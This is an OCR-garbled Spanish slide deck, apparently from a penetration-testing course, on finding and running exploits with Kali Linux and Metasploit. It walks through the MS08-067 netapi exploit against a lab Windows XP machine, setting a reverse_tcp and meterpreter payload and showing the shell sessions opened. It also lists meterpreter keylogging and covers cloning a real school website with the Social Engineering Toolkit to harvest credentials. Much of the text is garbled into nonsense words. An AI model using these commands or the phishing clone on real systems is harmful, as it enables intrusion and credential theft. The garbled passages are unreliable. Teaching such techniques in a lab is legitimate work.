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Contenido del dia 3

@ Explotarvulneranpiicdadess

@y Queres unexploi
&y DerguepantesiSerComponey:
O, Comprbuscanexploitsiparalaswulnerabilidades?

@ s Comorlanzaros
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comenzamos?

Objetivos delesterseguneordias

1. Conocercompiunecionanilosiexploits:

2. Estudiar las distintas: alternativas para Ila
ejecucionde exploits:

3. UtlizarunframewonkidersegunidadiiVietasploit)
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¢ Qué es un Exploit?

@ Codigo eschtopanaaproVveEcChaRun error de
proghamacionViconseyUiiRdiVersos prvilegios.

¢ Normalmenteysehuscartomarellcontroelide una
maguinaoienidejaaiuenardersenvicio(DosS)

@ Sueleestar eschitorenienguaje G

@ Aproyvechanivuineranilidades de
desbordamientordebuiiers; de error de formato
decadena, ...




o \/N

Partes de un Exploits

@ Un exploitisercomponeid el ospantess

o propiamenterdichelEstaiparnte de
codigo especificaipanaicadawvuineranilicdad:

o pEanterdercodigordeuniexploit que tiene
COMOo) objELVOIEJECULansEreniaimaguinavictima para
realizarlaraceionimaliciosar Sonreutilizados enidiferentes
exploitst Ejemplosshellinversaritawvictima enviara una
conexion al atacanterconunalinea dercomandos para gue
puedainteractuar conla maguinavulnerada.
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Busqueda de exploits

@ Unawvezencontradasyuineranpilidadesienun
sistemas hay queNVeRsiftienenasociadasialgun
exploit

@ Nortedasiasivuinenapilidadesitienentexploits.
CUAlgunas tienenieEXPIoItSIPERGNOISON PUIICOS.

@ Unabuenabhase de datos esicvedetaills
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Busqueda de exploits

CVE Details

The ultimate security vulnerability datasource

: CVE-2009-1234 or 2010-1234 or 2010

Log In Register Reset Password Activate Account Vulnerability Feeds &
Home . R )
Browse : You can generate a custom RSS feed or an embedable vulnerability list widget or a json API call url.
Vendor-s; Selected vulnerability types are OR'ed. If you don't select any criteria "all" CVE entries will be returned
Products | Vulnerabilities with exploits _ | Code execution (| Overflows

By Date Cross Site Request Forgery File inclusion | Gain privilege
By Type Sql injection Cross site scripting | Directory traversal
Reports :
CVSS Score Report
CVSS Score Distribution
Search : Order By: | CVE Id o CVSS score >=: | 0 % |
Vendor Search
Product Search
Version Search
Vulnerability Search Current CVSS Score Distribution For All Vulnerabilities
By Microsoft References
Top 50 : Distribution of all vulnerabi ies by CVSS Sco Vulnerability Distribution By CVSS Scores

Vendors Number Of Vulnerahllltles CVSS Score Ranges
Vendor Cvss Scores Mo

_ p

Eroducts =

Product Cvss Scores B

. >

o _ o

- 1.70 &

Other : 10614 11068 56
Microsoft Bulletins

Bugtrag Entries 78
CWE Definitions 6511 Hes

About & Contact 2453 Mo-10
Py I
I

Memory corruption Http response splitting [ Bypass something

|| Gain information Denial of service

| Generate RSS Feed | | Generate Widget Code | | Generate JSON URL |

6-7

191
CVE Help

FAQ
External Links :
NVD Website Weighted Average CVSS Score: 6.9




Apple : Security Vulnerabilities

CVSS Scores GreaterThan: 0 1 2 3 4 5 6 7 B 9
Sort Results By : Cve Number Descending Cve Number Ascending CVSS Score Descending Number Of Exploits Descending

CWE #of  Vulnerability Publish Update Score Gained Access Complex Authen Confiden Integrity  Availa

ID Exploits Type(s) Date Date Access ity  tication tiality bility
Level

1 CVE-2010-1029 399 2 DoS Exec  2010- 2012- 5.0 None Remote Low Not None None Partial
Code 03-19 01-26 required

Stack consumption vulnerability in the WebCore::CSS5Selector function in WebKit, as used in Apple Safari 4.0.4, Apple Safari on iPhone
0S and iPhone OS for iPod touch, and Google Chrome 4.0.249, allows remote attackers to cause a denial of service (application crash)
or possibly execute arbitrary code via a STYLE element composed of a large number of *> sequences.

2 CVE-2009-1237 399 2 DoS 2009- 2009- 4.9 None Local Low Not None None Complete
04-02 04-18 required
Multiple memory leaks in XNU 1228.3.13 and earlier on Apple Mac 0S5 X 10.5.6 and earlier allow local users to cause a denial of service
(kernel memory consumption) via a crafted (1) SYS_add_profil or (2) SYS____mac_getfsstat system call.

3 CVE-2009-0950 119 2 DoS Exec  2009- 2009- - None Remote Medium Not Complete Complete Complete
Code 06-02 08-07 required
Overflow

Stack-based buffer overflow in Apple iTunes before B.2 allows remote attackers to execute arbitrary code or cause a denial of service
(application crash) via an itms: URL with a long URL component after a colon.




Vulnerability Details : CVE-2010-1029 (2 public exploits)

Stack consumption vulnerability in the WebCore::CSSSelector function in WebKit, as used in Apple Safari 4.0.4, Apple Safari
on iPhone OS and iPhone OS for iPed touch, and Google Chrome 4.0.249, allows remote attackers to cause a denial of service
(application crash) or possibly execute arbitrary code via a STYLE element composed of a large number of > sequences.
Publish Date : 2010-03-19 Last Update Date : 2012-01-26

Collapse All Expand All Select Select&Copy + Scroll To  + Comments + External Links
Related Tweets Even more tweets Search Twitter Search YouTube Search Google

= CVSS Scores & Vulnerability Types

Cvss Score 5.0

Confidentiality Impact None (There is no impact to the confidentiality of the system.)

Integrity Impact None (There is no impact to the integrity of the system)

Availability Impact Partial (There is reduced performance or interruptions in resource availability.)

Access Complexity Low (Specialized access conditions or extenuating circumstances do not exist. Very little knowledge
or skill is required to exploit. )

Authentication Not required (Authentication is not required to exploit the vulnerability.)

Gained Access None

Vulnerability Type(s) penial« — References For CVE-2010-1029

CWE ID 399
http://secunia.com/advisories/43068
SECUNIA 43068
Exploit! http://www.exploit-db.com/exploits/11567
EXPLOIT-DB 11567 Apple Safari 4.0.4 & Google Chrome 4.0.249 CSS style Stack Overflow DoS/PoC Author:Rad L. Sneak Release
Date:2010-02-24 (multiple) dos
http://www.securityfocus.com/bid/38398
BID 38398 WebKit Style Tag Remote Denial of Service Vulnerability Release Date:2010-03-05
Exploit! http://www.exploit-db.com/exploits/11574
EXPLOIT-DB 11574 iPhone WebCore::CS55elector() Remote Crash Vulnerability Author:t12 Release Date:2010-02-24 (hardware) dos
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También se puede buscar en la base de datos de metasploit:
http://metasploit.com

Enter search query... Select Database

Or, Browse latest vulnerabilities or latest modules

Displaying all 2 entries

Results for: cve-2008-4250

Back to search

Microsoft Server Service Relative Path Stack Corruption

Disclosed: October 28, 2008

This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is capable
of bypassing NX on some operating systems and service packs. The correct target must be used to prevent the Server Service (along
with a dozen others in the same process) from cr...

MS08-067: Vulnerability in Server Service Could Allow Remote Code Execution (958644)

Severity: 10
Published: October 23, 2008
This security update resolves a privately reported vulnerability in the Server service. The vulnerability could allow remote code execution




o = - ﬂ

Distribuciones linux de
seguridad

@ SonldisthblUcionESIgUENIENENPREPaRadas con
herramientasipanamealizanunitestidenntrision.

@ Lasimas utilizadas:

Q

Q s realizadaporiosicreadornesidel anteror y
basadaien Debiank
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kali

& NorreguierneseninstalagoRuederejecutanse

comomaguinanVistiaiNireERconVIntualkoex)y. en
modoelive:

@ PuedeinstalanseeniotosISopoRtes: ush)
raspberrypi,, ...

@ Nosiva aproposcionarunentormo con todasiias
herramientastnecesaniasiparakealizarn
auditorias derseguridad.




kali [Runni
Mon Sep 9, 1C

Applications Places
S Accessories

%[:] Electronics
‘éﬁl Graphics
ﬁ Internet

H:H Office O\ Information Gathering
-? Programming

Sound & Video

'h Vulnerability Analysis

ﬁ Web Applications

FESERT Janis f Password Attacks

6 Universal Access .-.d._:.

ﬁ Exploitation Tools

Cﬁ Sniffing/Spoofing

Wireless Attacks

ﬁ Maintaining Access
% Reverse Engineering

ta ;
:,-. Stress Testing

1 Hardware Hacking

"'El'} Forensics

Reporting Tools
?jl-ﬂ. System Services
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Metasploit

@ Eramewonkiguelperniteaiiauditodesanrolliany
ejecutarexploitsiylanzanosicontraimaguinas; para
comprobariaiseguieacicderestas:

& Disponerdemouulosiquepermitenfaumentar de
manera senciliatastitincionalidades delffiramework.

@ Interraces: grafica(Armitage), webi(Vietasploit
Express), linealde’comandosiorconsola (msftconsole).
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¢ Versiones:

@ MetasploitCommumtyEdition
@ \MetasploikEne
@ NMetasploiPEXpPrRESS

«- N




Pro

Enterprise Security
Programs & Advanced
Penetration Tests

For Mid-sized and
Enterprise IT Security
Teams

Express features plus:

Advanced team workflow
automation and
reporting and Risk
validation

Social engineering
Web App Testing
Security Audit Wizards
MetaModules

API for custom
FREE 7-DAY TRIAL

Express

Baseline Penetration
Tests

For IT Generalists in
SMBs

Community features
plus:

Baseline Penetration
Testing Workflow

Smart exploitation
Password auditing

Baseline penetration
testing reports

Compare: Express vs. Pro

Community

Free Entry-level
Edition

For Small Companies and
Students

Simple web interface
Data management

Network discovery and
third-party import

Basic exploitation

Compare: Community vs. Pro

Framework

Free Open Source
Development Platform

For Developers and
Security Researchers

Basic command line
interface

Third-party import
Manual exploitation

Manual brute forcing

Compare: Framework vs. Pro

BUY ONLINE FREE DOWNLOAD FREE DOWNLOAD
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root@kali: ~

File Edit View Search  Terminal Help
root@kali:~# msfconsole

eTaspLoltT Fro -- Type 'go_pro’ TO Launcn 1T Nnow.

[ metasdLdif [vge.q-poh3d4) 7ol d Jg_ﬁ égl 1.0]
[ 1081 expwit&g zgggLa xiliar
c Shic

[ 298 pa"Loach" ers - nop

AL LHNW




D D

Metasploit: msfconsole

@ Parausar uniexploits

@ Para verlasiopCioness

@ Para coniigunairopCIoneEs:
@ Paraseleceionarpayloa:
@ Parallanzar elr'exploit:
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Ejemplo 1: Netatapi

@ MaguinawvictmaaWinooWsSIARISESNH92:1168.1.16)
@ MaguinaratacantessaliiGP2E661682112)
C Aprovechadawvulneranilican:

@ Utilizar enun terminalide kali.

@ Utilizamoes el PAYLLOAD:
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Ejemplo: ms08_067_netatapi

¢ Pasos:

)

10 Enfun terminalfejecutamoss:
2. Seleccionamosielexpiont::

3. Seleccionamosel PAYLOAIB: &

))

4. \/emosiasiopeionesiquetenemosigue configuran:
5. Configuramos/iasidistintasiopciones:

)

6. Lanzamosiel exploit: ™
Si todo haiidorbien; nosidevolverauna shell del'equipoe dela victima.
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msf> use exploit/windows/smb/ms@8 067 netapi

msf exploit(ms08 067 netapi) = set PAYLOAD windows/shell/reverse tcp
PAYLOAD => windows/shell/reverse_tcp

msf exploit(ms08 067 netapi) > set RHOST 192.168.1.16

RHOST == 182.168.1.16

msf exploit(ms08 067 netapi) = set LHOST 192.168.6.212

LHOST == 192.168.6.212

msf exploit(ms08 067 netapi) = exploit

| Started reverse handler on 192.168.6.212:4444

] Automatically detecting the target...

] Fingerprint: Windows XP - Service Pack 3 - lang:Spanish

] Selected Target: Windows XP SP3 Spanish (NX)

] Attempting to trigger the vulnerability...

| Encoded stage with x86/shikata ga nai

] Sending encoded stage (267 bytes) to 192.168.1.16

| Command shell session 4 opened (192 168.6.212:4444 -> 192.168.1.16:1051) at
1

b

013-09-09 11:46:55 +00006 '_*f? — Lﬂ [}3 [:LJ{\:[}P—V7
‘\ _.-' l_! ‘.

Microsoft Windows XP Uersiﬁﬁ—éhi (A

(C) Copyright 1985-2001 Microsoft Corp.

|
|
|
|
[*
[*
|
|
2

C:\WINDOWS\system32>}]
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msf exploit(ms08 067 netapi) > show options

Module options (exploit/windows/smb/ms@8 067 netapi):

Name Current Setting Required Description

RHOST 192.168.1.16 The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/shell/reverse tcp):

Name Current Setting Required Description

EXITFUNC thread Exit technique: seh, thread, process, no

LHOST 192.168.6.212 yes The listen address

R i AR

Exploit target:

Id Name

¢ Automatic Targeting
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Dtros PAYLOADSE

rElgElgogjdeizipse oo V) G windowslvncinjecilreverse e

Wleterorzier @ windows/meterpreter/reverse_tco

L/»

— J

msf exploit(msﬂﬁ_ﬂﬁ?_netapi) > set_payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse tcp
msf exploit(ms08 067 netapi) > exploit

[*]
gl
[*]
[*]
[*]
)
[*]

Started reverse handler on 192.168.6.212:4444
Automatically detecting the target...
Fingerprint: Windows XP - Serv1ce Pack 3 - lang:Spanish

Selected Target: Windo s aa
Attempting to trigger rl .
Sending stage {751104 |

Meterpreter session 2 opened (192. 168 6 212 4444 -> 192.168.1.16:1049) at 20

13-09-09 11:39:18 +0000

meterpreter > |j
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Meterpreter

@ Payloadipotenteiguenosipenmiteealizarn
multitudidetaneass

¢ Comandosiaruulizar:

& Permite cangairextensioness El . Conilo
gue ahorapermite captunanpantallasicon:
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Meterpreter

& Migranie aletioNroCESHS
o (panra VERIoSIPLoCESOS)
o

O Keylogger:
o

Q
Q

 Cargar archivos:

«- ﬂ
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Set (Social Engineering Toolkit)

Ejemploideratague clone=siteilizandorSElE
1 Ejecutaienun terminalSestonikik
2.SeleceionalasisiguIENtESIOPCIGNESS

*q = Social EngineeringfAtack

*2 — Website Attack Vectorns

*3= Credential FanrvesterrAttackiViethod
*2— Site Cloner;

<tu Ip>y urilaiclonar
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CE

Archiva  Editar  Ver Historial Marcadores  Herramientas  Avuda

¥ IES Poligono Sur | Informética ="

% 192.168.6.212

IES Poligono Sur / Informatica
Sitio Web del departamento

Novedades de Informatica del [ES

Paligona Sur de Sevilla

Mombre de usuario

[ *] Cloning the website: http://informatica.iespoligonosur.org
This could take a little bit...

rﬁ111 H1| wIIHMlHqIW|fHWT ¢
"1Tluh 111 o= : E you as it arrives below:
"GET / HTTP/1.0" 200 -
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Lecturas recomendadas:

* PaginasiWelss

= hittps//WWWihaeKkXCrackses/ionum/index:phpztiopic=5401.0

= WWWPERLESHaICO

= NtpH/WWWiantrax=iahsiong/20H2/410/javazapplet=attack-
method 0 tmi

e Libros:

= Metasploit panaRentestensi(Informaticatcs)
— Pentesting conKali(OxWord)




